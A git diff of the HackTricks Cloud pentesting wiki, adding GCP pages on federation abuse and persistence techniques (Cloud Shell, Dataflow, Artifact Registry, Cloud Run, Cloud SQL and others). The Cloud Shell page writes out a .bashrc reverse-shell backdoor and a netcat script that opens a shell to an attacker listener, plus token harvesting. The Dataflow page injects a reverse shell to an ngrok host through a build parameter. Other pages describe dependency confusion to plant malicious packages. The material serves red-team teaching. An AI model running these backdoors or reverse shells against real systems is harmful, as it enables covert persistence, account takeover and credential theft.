-* **Restrict shared VPC project lien removal:** Prevents the accidental deletion of Shared VPC host projects.
+- **Restrict shared VPC project lien removal:** Prevents the accidental deletion of Shared VPC host projects.
 
-- **Sets the internal DNS setting for new projects to Zonal DNS Only:** Prevents the use of a legacy DNS setting that has reduced service availability.
+* **Sets the internal DNS setting for new projects to Zonal DNS Only:** Prevents the use of a legacy DNS setting that has reduced service availability.
 
-* **Skip default network creation:** Prevents automatic creation of the default VPC network and related resources. This avoids overly-permissive default firewall rules.
+- **Skip default network creation:** Prevents automatic creation of the default VPC network and related resources. This avoids overly-permissive default firewall rules.
 
-- **Disable VPC External IPv6 usage:** Prevents the creation of external IPv6 subnets, which can be exposed to unauthorized internet access.
+* **Disable VPC External IPv6 usage:** Prevents the creation of external IPv6 subnets, which can be exposed to unauthorized internet access.
 
 </details>
 
@@ -114,9 +101,9 @@ This could be a problem because this means that the only way to find out **which
 
 There are **three types** of roles in IAM:
 
-* **Basic/Primitive roles**, which include the **Owner**, **Editor**, and **Viewer** roles that existed prior to the introduction of IAM.
-* **Predefined roles**, which provide granular access for a specific service and are managed by Google Cloud. There are a lot of predefined roles, you can **see all of them with the privileges they have** [**here**](https://cloud.google.com/iam/docs/understanding-roles#predefined_roles).
-* **Custom roles**, which provide granular access according to a user-specified list of permissions.
+- **Basic/Primitive roles**, which include the **Owner**, **Editor**, and **Viewer** roles that existed prior to the introduction of IAM.
+- **Predefined roles**, which provide granular access for a specific service and are managed by Google Cloud. There are a lot of predefined roles, you can **see all of them with the privileges they have** [**here**](https://cloud.google.com/iam/docs/understanding-roles#predefined_roles).
+- **Custom roles**, which provide granular access according to a user-specified list of permissions.
 
 There are thousands of permissions in GCP. In order to check if a role has a permissions you can [**search the permission here**](https://cloud.google.com/iam/docs/permissions-reference) and see which roles have it.
 
@@ -125,9 +112,9 @@ Moreover, note that **permissions** will only **take effect** if they are **atta
 
 Or check if a **custom role can use a** [**specific permission in here**](https://cloud.google.com/iam/docs/custom-roles-permissions-support)**.**
 
-{% content-ref url="../gcp-services/gcp-iam-and-org-policies-enum.md" %}
-[gcp-iam-and-org-policies-enum.md](../gcp-services/gcp-iam-and-org-policies-enum.md)
-{% endcontent-ref %}
+{{#ref}}
+../gcp-services/gcp-iam-and-org-policies-enum.md
+{{#endref}}
 
 ## Users <a href="#default-credentials" id="default-credentials"></a>
 
@@ -145,15 +132,15 @@ When an organisation is created several groups are **strongly suggested to be cr
 
 ## **Default Password Policy**
 
-* Enforce strong passwords
-* Between 8 and 100 characters
-* No reuse
-* No expiration
-* If people is accessing Workspace through a third party provider, these requirements aren't applied.
+- Enforce strong passwords
+- Between 8 and 100 characters
+- No reuse
+- No expiration
+- If people is accessing Workspace through a third party provider, these requirements aren't applied.
 
-<figure><img src="../../../.gitbook/assets/image (20).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../images/image (20).png" alt=""><figcaption></figcaption></figure>
 
-<figure><img src="../../../.gitbook/assets/image (22).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../images/image (22).png" alt=""><figcaption></figcaption></figure>
 
 ## **Service accounts**
 
@@ -179,9 +166,9 @@ SERVICE_ACCOUNT_NAME@PROJECT_NAME.iam.gserviceaccount.com
 
 There are 2 main ways to access GCP as a service account:
 
-* **Via OAuth tokens**: These are tokens that you will get from places like metadata endpoints or stealing http requests and they are limited by the **access scopes**.
-* **Keys**: These are public and private key pairs that will allow you to sign requests as the service account and even generate OAuth tokens to perform actions as the service account. These keys are dangerous because they are more complicated to limit and control, that's why GCP recommend to not generate them.
-  * Note that every-time a SA is created, **GCP generates a key for the service account** that the user cannot access (and won't be listed in the web application). According to [**this thread**](https://www.reddit.com/r/googlecloud/comments/f0ospy/service_account_keys_observations/) this key is **used internally by GCP** to give metadata endpoints access to generate the accesible OAuth tokens.
+- **Via OAuth tokens**: These are tokens that you will get from places like metadata endpoints or stealing http requests and they are limited by the **access scopes**.
+- **Keys**: These are public and private key pairs that will allow you to sign requests as the service account and even generate OAuth tokens to perform actions as the service account. These keys are dangerous because they are more complicated to limit and control, that's why GCP recommend to not generate them.
+  - Note that every-time a SA is created, **GCP generates a key for the service account** that the user cannot access (and won't be listed in the web application). According to [**this thread**](https://www.reddit.com/r/googlecloud/comments/f0ospy/service_account_keys_observations/) this key is **used internally by GCP** to give metadata endpoints access to generate the accesible OAuth tokens.
 
 ### **Access scopes**
 
@@ -192,7 +179,6 @@ Google actually [recommends](https://cloud.google.com/compute/docs/access/servic
 
 You can see what **scopes** are **assigned** by **querying:**
 
-{% code overflow="wrap" %}
 ```bash
 curl 'https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=<access_token>'
 
@@ -207,7 +193,6 @@ curl 'https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=<access_token>
   "access_type": "offline"
 }
 ```
-{% endcode %}
 
 The previous **scopes** are the ones generated by **default** using **`gcloud`** to access data. This is because when you use **`gcloud`** you first create an OAuth token, and then use it to contact the endpoints.
 
@@ -217,44 +202,29 @@ You can **find a list of** [**all the possible scopes in here**](https://develop
 
 If you have **`gcloud`** browser credentials, it's possible to **obtain a token with other scopes,** doing something like:
 
-{% code overflow="wrap" %}
 ```bash
 # Maybe you can get a user token with other scopes changing the scopes array from ~/.config/gcloud/credentials.db
 
 # Set new scopes for SDKs credentials
 gcloud auth application-default login --scopes=https://www.googleapis.com/auth/userinfo.email,https://www.googleapis.com/auth/cloud-platform,https://www.googleapis.com/auth/sqlservice.login,https://www.googleapis.com/auth/appengine.admin,https://www.googleapis.com/auth/compute,https://www.googleapis.com/auth/accounts.reauth,https://www.googleapis.com/auth/admin.directory.user,https://www.googleapis.com/auth/admin.directory.group,https://www.googleapis.com/auth/admin.directory.domain,https://www.googleapis.com/auth/admin.directory.user
 
-# Print new token 
+# Print new token
 gcloud auth application-default print-access-token
 
 # To use this token with some API you might need to use curl to indicate the project header with --header "X-Goog-User-Project: <project-name>"
 ```
-{% endcode %}
 
 ## **Terraform IAM Policies, Bindings and Memberships**
 
-As defined by terraform in [https://registry.terraform.io/providers/hashicorp/google/latest/docs/resources/google\_project\_iam](https://registry.terraform.io/providers/hashicorp/google/latest/docs/resources/google_project_iam) using terraform with GCP there are different ways to grant a principal access over a resource:
+As defined by terraform in [https://registry.terraform.io/providers/hashicorp/google/latest/docs/resources/google_project_iam](https://registry.terraform.io/providers/hashicorp/google/latest/docs/resources/google_project_iam) using terraform with GCP there are different ways to grant a principal access over a resource:
 
-* **Memberships**: You set **principals as members of roles** **without restrictions** over the role or the principals. You can put a user as a member of a role and then put a group as a member of the same role and also set those principals (user and group) as member of other roles.
-* **Bindings**: Several **principals can be binded to a role**. Those **principals can still be binded or be members of other roles**. However, if a principal which isn’t binded to the role is set as **member of a binded role**, the next time the **binding is applied, the membership will disappear**.
-* **Policies**: A policy is **authoritative**, it indicates roles and principals and then, **those principals cannot have more roles and those roles cannot have more principals** unless that policy is modified (not even in other policies, bindings or memberships). Therefore, when a role or principal is specified in policy all its privileges are **limited by that policy**. Obviously, this can be bypassed in case the principal is given the option to modify the policy or privilege escalation permissions (like create a new principal and bind him a new role).
+- **Memberships**: You set **principals as members of roles** **without restrictions** over the role or the principals. You can put a user as a member of a role and then put a group as a member of the same role and also set those principals (user and group) as member of other roles.
+- **Bindings**: Several **principals can be binded to a role**. Those **principals can still be binded or be members of other roles**. However, if a principal which isn’t binded to the role is set as **member of a binded role**, the next time the **binding is applied, the membership will disappear**.
+- **Policies**: A policy is **authoritative**, it indicates roles and principals and then, **those principals cannot have more roles and those roles cannot have more principals** unless that policy is modified (not even in other policies, bindings or memberships). Therefore, when a role or principal is specified in policy all its privileges are **limited by that policy**. Obviously, this can be bypassed in case the principal is given the option to modify the policy or privilege escalation permissions (like create a new principal and bind him a new role).
 
 ## References
 
-* [https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/](https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/)
-* [https://cloud.google.com/resource-manager/docs/cloud-platform-resource-hierarchy](https://cloud.google.com/resource-manager/docs/cloud-platform-resource-hierarchy)
+- [https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/](https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/)
+- [https://cloud.google.com/resource-manager/docs/cloud-platform-resource-hierarchy](https://cloud.google.com/resource-manager/docs/cloud-platform-resource-hierarchy)
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/gcp-security/gcp-basic-information/gcp-federation-abuse.md b/src/pentesting-cloud/gcp-security/gcp-basic-information/gcp-federation-abuse.md
new file mode 100644
index 000000000..55e8d2f71
--- /dev/null
+++ b/src/pentesting-cloud/gcp-security/gcp-basic-information/gcp-federation-abuse.md
@@ -0,0 +1,153 @@
+# GCP - Federation Abuse
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## OIDC - Github Actions Abuse
+
+### GCP
+
+In order to give **access to the Github Actions** from a Github repo to a GCP **service account** the following steps are needed:
+
+- **Create the Service Account** to access from github actions with the **desired permissions:**
+
+```bash
+projectId=FIXME
+gcloud config set project $projectId
+
+# Create the Service Account
+gcloud iam service-accounts create "github-demo-sa"
+saId="github-demo-sa@${projectId}.iam.gserviceaccount.com"
+
+# Enable the IAM Credentials API
+gcloud services enable iamcredentials.googleapis.com
+
+# Give permissions to SA
+
+gcloud projects add-iam-policy-binding $projectId \
+    --member="serviceAccount:$saId" \
+    --role="roles/iam.securityReviewer"
+```
+
+- Generate a **new workload identity pool**:
+
+```bash
+# Create a Workload Identity Pool
+poolName=wi-pool
+
+gcloud iam workload-identity-pools create $poolName \
+  --location global \
+  --display-name $poolName
+
+poolId=$(gcloud iam workload-identity-pools describe $poolName \
+  --location global \
+  --format='get(name)')
+```
+
+- Generate a new **workload identity pool OIDC provider** that **trusts** github actions (by org/repo name in this scenario):
+
+```bash
+attributeMappingScope=repository # could be sub (GitHub repository and branch) or repository_owner (GitHub organization)
+
+gcloud iam workload-identity-pools providers create-oidc $poolName \
+  --location global \
+  --workload-identity-pool $poolName \
+  --display-name $poolName \
+  --attribute-mapping "google.subject=assertion.${attributeMappingScope},attribute.actor=assertion.actor,attribute.aud=assertion.aud,attribute.repository=assertion.repository" \
+  --issuer-uri "https://token.actions.githubusercontent.com"
+
+providerId=$(gcloud iam workload-identity-pools providers describe $poolName \
+  --location global \
+  --workload-identity-pool $poolName \
+  --format='get(name)')
+```
+
+- Finally, **allow the principal** from the provider to use a service principal:
+
+```bash
+gitHubRepoName="repo-org/repo-name"
+gcloud iam service-accounts add-iam-policy-binding $saId \
+  --role "roles/iam.workloadIdentityUser" \
+  --member "principalSet://iam.googleapis.com/${poolId}/attribute.${attributeMappingScope}/${gitHubRepoName}"
+```
+
+> [!WARNING]
+> Note how in the previous member we are specifying the **`org-name/repo-name`** as conditions to be able to access the service account (other params that makes it **more restrictive** like the branch could also be used).
+>
+> However it's also possible to **allow all github to access** the service account creating a provider such the following using a wildcard:
+
+<pre class="language-bash"><code class="lang-bash"># Create a Workload Identity Pool
+poolName=wi-pool2
+
+gcloud iam workload-identity-pools create $poolName \
+  --location global \
+  --display-name $poolName
+
+poolId=$(gcloud iam workload-identity-pools describe $poolName \
+  --location global \
+  --format='get(name)')
+
+gcloud iam workload-identity-pools providers create-oidc $poolName \
+  --project="${projectId}" \
+  --location="global" \
+  --workload-identity-pool="$poolName" \
+  --display-name="Demo provider" \
+  --attribute-mapping="google.subject=assertion.sub,attribute.actor=assertion.actor,attribute.aud=assertion.aud" \
+  --issuer-uri="https://token.actions.githubusercontent.com"
+
+providerId=$(gcloud iam workload-identity-pools providers describe $poolName \
+  --location global \
+  --workload-identity-pool $poolName \
+  --format='get(name)')
+
+<strong># CHECK THE WILDCARD
+</strong>gcloud iam service-accounts add-iam-policy-binding "${saId}" \
+  --project="${projectId}" \
+  --role="roles/iam.workloadIdentityUser" \
+<strong>  --member="principalSet://iam.googleapis.com/${poolId}/*"
+</strong></code></pre>
+
+> [!WARNING]
+> In this case anyone could access the service account from github actions, so it's important always to **check how the member is defined**.\
+> It should be always something like this:
+>
+> `attribute.{custom_attribute}`:`principalSet://iam.googleapis.com/projects/{project}/locations/{location}/workloadIdentityPools/{pool}/attribute.{custom_attribute}/{value}`
+
+### Github
+
+Remember to change **`${providerId}`** and **`${saId}`** for their respective values:
+
+```yaml
+name: Check GCP action
+on:
+  workflow_dispatch:
+  pull_request:
+    branches:
+      - main
+
+permissions:
+  id-token: write
+
+jobs:
+  Get_OIDC_ID_token:
+    runs-on: ubuntu-latest
+    steps:
+      - id: "auth"
+        name: "Authenticate to GCP"
+        uses: "google-github-actions/auth@v2.1.3"
+        with:
+          create_credentials_file: "true"
+          workload_identity_provider: "${providerId}" # In the providerId, the numerical project ID (12 digit number) should be used
+          service_account: "${saId}" # instead of the alphanumeric project ID. ex:
+          activate_credentials_file: true # projects/123123123123/locations/global/workloadIdentityPools/iam-lab-7-gh-pool/providers/iam-lab-7-gh-pool-oidc-provider'
+      - id: "gcloud"
+        name: "gcloud"
+        run: |-
+          gcloud config set project <project-id>
+          gcloud config set account '${saId}'
+          gcloud auth login --brief --cred-file="${{ steps.auth.outputs.credentials_file_path }}"
+          gcloud auth list
+          gcloud projects list
+          gcloud secrets list
+```
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/gcp-security/gcp-permissions-for-a-pentest.md b/src/pentesting-cloud/gcp-security/gcp-permissions-for-a-pentest.md
similarity index 100%
rename from pentesting-cloud/gcp-security/gcp-permissions-for-a-pentest.md
rename to src/pentesting-cloud/gcp-security/gcp-permissions-for-a-pentest.md
diff --git a/pentesting-cloud/gcp-security/gcp-persistence/README.md b/src/pentesting-cloud/gcp-security/gcp-persistence/README.md
similarity index 100%
rename from pentesting-cloud/gcp-security/gcp-persistence/README.md
rename to src/pentesting-cloud/gcp-security/gcp-persistence/README.md
diff --git a/src/pentesting-cloud/gcp-security/gcp-persistence/gcp-api-keys-persistence.md b/src/pentesting-cloud/gcp-security/gcp-persistence/gcp-api-keys-persistence.md
new file mode 100644
index 000000000..76643a4ae
--- /dev/null
+++ b/src/pentesting-cloud/gcp-security/gcp-persistence/gcp-api-keys-persistence.md
@@ -0,0 +1,21 @@
+# GCP - API Keys Persistence
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## API Keys
+
+For more information about API Keys check:
+
+{{#ref}}
+../gcp-services/gcp-api-keys-enum.md
+{{#endref}}
+
+### Create new / Access existing ones
+
+Check how to do this in:
+
+{{#ref}}
+../gcp-privilege-escalation/gcp-apikeys-privesc.md
+{{#endref}}
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/gcp-security/gcp-persistence/gcp-app-engine-persistence.md b/src/pentesting-cloud/gcp-security/gcp-persistence/gcp-app-engine-persistence.md
new file mode 100644
index 000000000..82bf6fd5e
--- /dev/null
+++ b/src/pentesting-cloud/gcp-security/gcp-persistence/gcp-app-engine-persistence.md
@@ -0,0 +1,21 @@
+# GCP - App Engine Persistence
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## App Engine
+
+For more information about App Engine check:
+
+{{#ref}}
+../gcp-services/gcp-app-engine-enum.md
+{{#endref}}
+
+### Modify code
+
+If yoi could just modify the code of a running version or create a new one yo could make it run your backdoor and mantain persistence.
+
+### Old version persistence
+
+**Every version of the web application is going to be run**, if you find that an App Engine project is running several versions, you could **create a new one** with your **backdoor** code, and then **create a new legit** one so the last one is the legit but there will be a **backdoored one also running**.
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/gcp-security/gcp-persistence/gcp-artifact-registry-persistence.md b/src/pentesting-cloud/gcp-security/gcp-persistence/gcp-artifact-registry-persistence.md
new file mode 100644
index 000000000..e4c4bb258
--- /dev/null
+++ b/src/pentesting-cloud/gcp-security/gcp-persistence/gcp-artifact-registry-persistence.md
@@ -0,0 +1,42 @@
+# GCP - Artifact Registry Persistence
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## Artifact Registry
+
+For more information about Artifact Registry check:
+
+{{#ref}}
+../gcp-services/gcp-artifact-registry-enum.md
+{{#endref}}
+
+### Dependency Confusion
+
+- What happens if a **remote and a standard** repositories **are mixed in a virtual** one and a package exists in both?
+  - The one with the **highest priority set in the virtual repository** is used
+  - If the **priority is the same**:
+    - If the **version** is the **same**, the **policy name alphabetically** first in the virtual repository is used
+    - If not, the **highest version** is used
+
+> [!CAUTION]
+> Therefore, it's possible to **abuse a highest version (dependency confusion)** in a public package registry if the remote repository has a higher or same priority
+
+This technique can be useful for **persistence** and **unauthenticated access** as to abuse it it just require to **know a library name** stored in Artifact Registry and **create that same library in the public repository (PyPi for python for example)** with a higher version.
+
+For persistence these are the steps you need to follow:
+
+- **Requirements**: A **virtual repository** must **exist** and be used, an **internal package** with a **name** that doesn't exist in the **public repository** must be used.
+- Create a remote repository if it doesn't exist
+- Add the remote repository to the virtual repository
+- Edit the policies of the virtual registry to give a higher priority (or same) to the remote repository.\
+  Run something like:
+  - [gcloud artifacts repositories update --upstream-policy-file ...](https://cloud.google.com/sdk/gcloud/reference/artifacts/repositories/update#--upstream-policy-file)
+- Download the legit package, add your malicious code and register it in the public repository with the same version. Every time a developer installs it, he will install yours!
+
+For more information about dependency confusion check:
+
+{{#ref}}
+https://book.hacktricks.xyz/pentesting-web/dependency-confusion
+{{#endref}}
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/gcp-security/gcp-persistence/gcp-bigquery-persistence.md b/src/pentesting-cloud/gcp-security/gcp-persistence/gcp-bigquery-persistence.md
new file mode 100644
index 000000000..e524fd97e
--- /dev/null
+++ b/src/pentesting-cloud/gcp-security/gcp-persistence/gcp-bigquery-persistence.md
@@ -0,0 +1,21 @@
+# GCP - BigQuery Persistence
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## BigQuery
+
+For more information about BigQuery check:
+
+{{#ref}}
+../gcp-services/gcp-bigquery-enum.md
+{{#endref}}
+
+### Grant further access
+
+Grant further access over datasets, tables, rows and columns to compromised users or external users. Check the privileges needed and how to do this in the page:
+
+{{#ref}}
+../gcp-privilege-escalation/gcp-bigquery-privesc.md
+{{#endref}}
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/gcp-security/gcp-persistence/gcp-cloud-functions-persistence.md b/src/pentesting-cloud/gcp-security/gcp-persistence/gcp-cloud-functions-persistence.md
new file mode 100644
index 000000000..e02c5e3e4
--- /dev/null
+++ b/src/pentesting-cloud/gcp-security/gcp-persistence/gcp-cloud-functions-persistence.md
@@ -0,0 +1,19 @@
+# GCP - Cloud Functions Persistence
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## Cloud Functions
+
+For more info about Cloud Functions check:
+
+{{#ref}}
+../gcp-services/gcp-cloud-functions-enum.md
+{{#endref}}
+
+### Persistence Techniques
+
+- **Modify the code** of the Cloud Function, even just the `requirements.txt`
+- **Allow anyone** to call a vulnerable Cloud Function or a backdoor one
+- **Trigger** a Cloud Function when something happens to infect something
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/gcp-security/gcp-persistence/gcp-cloud-run-persistence.md b/src/pentesting-cloud/gcp-security/gcp-persistence/gcp-cloud-run-persistence.md
new file mode 100644
index 000000000..a59ef33ba
--- /dev/null
+++ b/src/pentesting-cloud/gcp-security/gcp-persistence/gcp-cloud-run-persistence.md
@@ -0,0 +1,25 @@
+# GCP - Cloud Run Persistence
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## Cloud Run
+
+For more information about Cloud Run check:
+
+{{#ref}}
+../gcp-services/gcp-cloud-run-enum.md
+{{#endref}}
+
+### Backdoored Revision
+
+Create a new backdoored revision of a Run Service and split some traffic to it.
+
+### Publicly Accessible Service
+
+Make a Service publicly accessible
+
+### Backdoored Service or Job
+
+Create a backdoored Service or Job
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/gcp-security/gcp-persistence/gcp-cloud-shell-persistence.md b/src/pentesting-cloud/gcp-security/gcp-persistence/gcp-cloud-shell-persistence.md
new file mode 100644
index 000000000..c38442234
--- /dev/null
+++ b/src/pentesting-cloud/gcp-security/gcp-persistence/gcp-cloud-shell-persistence.md
@@ -0,0 +1,69 @@
+# GCP - Cloud Shell Persistence
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## Cloud Shell
+
+For more information check:
+
+{{#ref}}
+../gcp-services/gcp-cloud-shell-enum.md
+{{#endref}}
+
+### Persistent Backdoor
+
+[**Google Cloud Shell**](https://cloud.google.com/shell/) provides you with command-line access to your cloud resources directly from your browser without any associated cost.
+
+You can access Google's Cloud Shell from the **web console** or running **`gcloud cloud-shell ssh`**.
+
+This console has some interesting capabilities for attackers:
+
+1. **Any Google user with access to Google Cloud** has access to a fully authenticated Cloud Shell instance (Service Accounts can, even being Owners of the org).
+2. Said instance will **maintain its home directory for at least 120 days** if no activity happens.
+3. There is **no capabilities for an organisation to monitor** the activity of that instance.
+
+This basically means that an attacker may put a backdoor in the home directory of the user and as long as the user connects to the GC Shell every 120days at least, the backdoor will survive and the attacker will get a shell every time it's run just by doing:
+
+```bash
+echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/'$CCSERVER'/443 0>&1 &)' >> $HOME/.bashrc
+```
+
+There is another file in the home folder called **`.customize_environment`** that, if exists, is going to be **executed everytime** the user access the **cloud shell** (like in the previous technique). Just insert the previous backdoor or one like the following to maintain persistence as long as the user uses "frequently" the cloud shell:
+
+```bash
+#!/bin/sh
+apt-get install netcat -y
+nc <LISTENER-ADDR> 443 -e /bin/bash
+```
+
+> [!WARNING]
+> It is important to note that the **first time an action requiring authentication is performed**, a pop-up authorization window appears in the user's browser. This window must be accepted before the command can run. If an unexpected pop-up appears, it could raise suspicion and potentially compromise the persistence method being used.
+
+This is the pop-up from executing `gcloud projects list` from the cloud shell (as attacker) viewed in the browsers user session:
+
+<figure><img src="../../../images/image (10).png" alt=""><figcaption></figcaption></figure>
+
+However, if the user has actively used the cloudshell, the pop-up won't appear and you can **gather tokens of the user with**:
+
+```bash
+gcloud auth print-access-token
+gcloud auth application-default print-access-token
+```
+
+#### How the SSH connection is stablished
+
+Basically, these 3 API calls are used:
+
+- [https://content-cloudshell.googleapis.com/v1/users/me/environments/default:addPublicKey](https://content-cloudshell.googleapis.com/v1/users/me/environments/default:addPublicKey) \[POST] (will make you add your public key you created locally)
+- [https://content-cloudshell.googleapis.com/v1/users/me/environments/default:start](https://content-cloudshell.googleapis.com/v1/users/me/environments/default:start) \[POST] (will make you start the instance)
+- [https://content-cloudshell.googleapis.com/v1/users/me/environments/default](https://content-cloudshell.googleapis.com/v1/users/me/environments/default) \[GET] (will tell you the ip of the google cloud shell)
+
+But you can find further information in [https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key](https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key)
+
+## References
+
+- [https://89berner.medium.com/persistant-gcp-backdoors-with-googles-cloud-shell-2f75c83096ec](https://89berner.medium.com/persistant-gcp-backdoors-with-googles-cloud-shell-2f75c83096ec)
+- [https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key](https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key)
+- [https://securityintelligence.com/posts/attacker-achieve-persistence-google-cloud-platform-cloud-shell/](https://securityintelligence.com/posts/attacker-achieve-persistence-google-cloud-platform-cloud-shell/)
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/gcp-security/gcp-persistence/gcp-cloud-sql-persistence.md b/src/pentesting-cloud/gcp-security/gcp-persistence/gcp-cloud-sql-persistence.md
new file mode 100644
index 000000000..795314341
--- /dev/null
+++ b/src/pentesting-cloud/gcp-security/gcp-persistence/gcp-cloud-sql-persistence.md
@@ -0,0 +1,37 @@
+# GCP - Cloud SQL Persistence
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## Cloud SQL
+
+For more information about Cloud SQL check:
+
+{{#ref}}
+../gcp-services/gcp-cloud-sql-enum.md
+{{#endref}}
+
+### Expose the database and whitelist your IP address
+
+A database only accessible from an internal VPC can be exposed externally and your IP address can be whitelisted so you can access it.\
+For more information check the technique in:
+
+{{#ref}}
+../gcp-post-exploitation/gcp-cloud-sql-post-exploitation.md
+{{#endref}}
+
+### Create a new user / Update users password / Get password of a user
+
+To connect to a database you **just need access to the port** exposed by the database and a **username** and **password**. With e**nough privileges** you could **create a new user** or **update** an existing user **password**.\
+Another option would be to **brute force the password of an user** by trying several password or by accessing the **hashed** password of the user inside the database (if possible) and cracking it.\
+Remember that **it's possible to list the users of a database** using GCP API.
+
+> [!NOTE]
+> You can create/update users using GCP API or from inside the databae if you have enough permissions.
+
+For more information check the technique in:
+
+{{#ref}}
+../gcp-post-exploitation/gcp-cloud-sql-post-exploitation.md
+{{#endref}}
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/gcp-security/gcp-persistence/gcp-compute-persistence.md b/src/pentesting-cloud/gcp-security/gcp-persistence/gcp-compute-persistence.md
new file mode 100644
index 000000000..aebbe350c
--- /dev/null
+++ b/src/pentesting-cloud/gcp-security/gcp-persistence/gcp-compute-persistence.md
@@ -0,0 +1,19 @@
+# GCP - Compute Persistence
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## Compute
+
+For more informatoin about Compute and VPC (Networking) check:
+
+{{#ref}}
+../gcp-services/gcp-compute-instances-enum/
+{{#endref}}
+
+### Persistence abusing Instances & backups
+
+- Backdoor existing VMs
+- Backdoor disk images and snapshots creating new versions
+- Create new accessible instance with a privileged SA
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/gcp-security/gcp-persistence/gcp-dataflow-persistence.md b/src/pentesting-cloud/gcp-security/gcp-persistence/gcp-dataflow-persistence.md
new file mode 100644
index 000000000..9eb6791c1
--- /dev/null
+++ b/src/pentesting-cloud/gcp-security/gcp-persistence/gcp-dataflow-persistence.md
@@ -0,0 +1,53 @@
+# GCP - Dataflow Persistence
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## Dataflow
+
+### Invisible persistence in built container
+
+Following the [**tutorial from the documentation**](https://cloud.google.com/dataflow/docs/guides/templates/using-flex-templates) you can create a new (e.g. python) flex template:
+
+```bash
+git clone https://github.com/GoogleCloudPlatform/python-docs-samples.git
+cd python-docs-samples/dataflow/flex-templates/getting_started
+
+# Create repository where dockerfiles and code is going to be stored
+export REPOSITORY=flex-example-python
+gcloud storage buckets create gs://$REPOSITORY
+
+# Create artifact storage
+export NAME_ARTIFACT=flex-example-python
+gcloud artifacts repositories create $NAME_ARTIFACT \
+ --repository-format=docker \
+ --location=us-central1
+gcloud auth configure-docker us-central1-docker.pkg.dev
+
+# Create template
+export NAME_TEMPLATE=flex-template
+gcloud dataflow $NAME_TEMPLATE build gs://$REPOSITORY/getting_started-py.json \
+ --image-gcr-path "us-central1-docker.pkg.dev/gcp-labs-35jfenjy/$NAME_ARTIFACT/getting-started-python:latest" \
+ --sdk-language "PYTHON" \
+ --flex-template-base-image "PYTHON3" \
+ --metadata-file "metadata.json" \
+ --py-path "." \
+ --env "FLEX_TEMPLATE_PYTHON_PY_FILE=getting_started.py" \
+ --env "FLEX_TEMPLATE_PYTHON_REQUIREMENTS_FILE=requirements.txt" \
+ --env "PYTHONWARNINGS=all:0:antigravity.x:0:0" \
+ --env "/bin/bash -c 'bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/13355 0>&1' & #%s" \
+ --region=us-central1
+```
+
+**While it's building, you will get a reverse shell** (you could abuse env variables like in the previous example or other params that sets the Docker file to execute arbitrary things). In this moment, inside the reverse shell, it's possible to **go to the `/template` directory and modify the code of the main python script that will be executed (in our example this is `getting_started.py`)**. Set your backdoor here so everytime the job is executed, it'll execute it.
+
+Then, next time the job is executed, the compromised container built will be run:
+
+```bash
+# Run template
+gcloud dataflow $NAME_TEMPLATE run testing \
+ --template-file-gcs-location="gs://$NAME_ARTIFACT/getting_started-py.json" \
+ --parameters=output="gs://$REPOSITORY/out" \
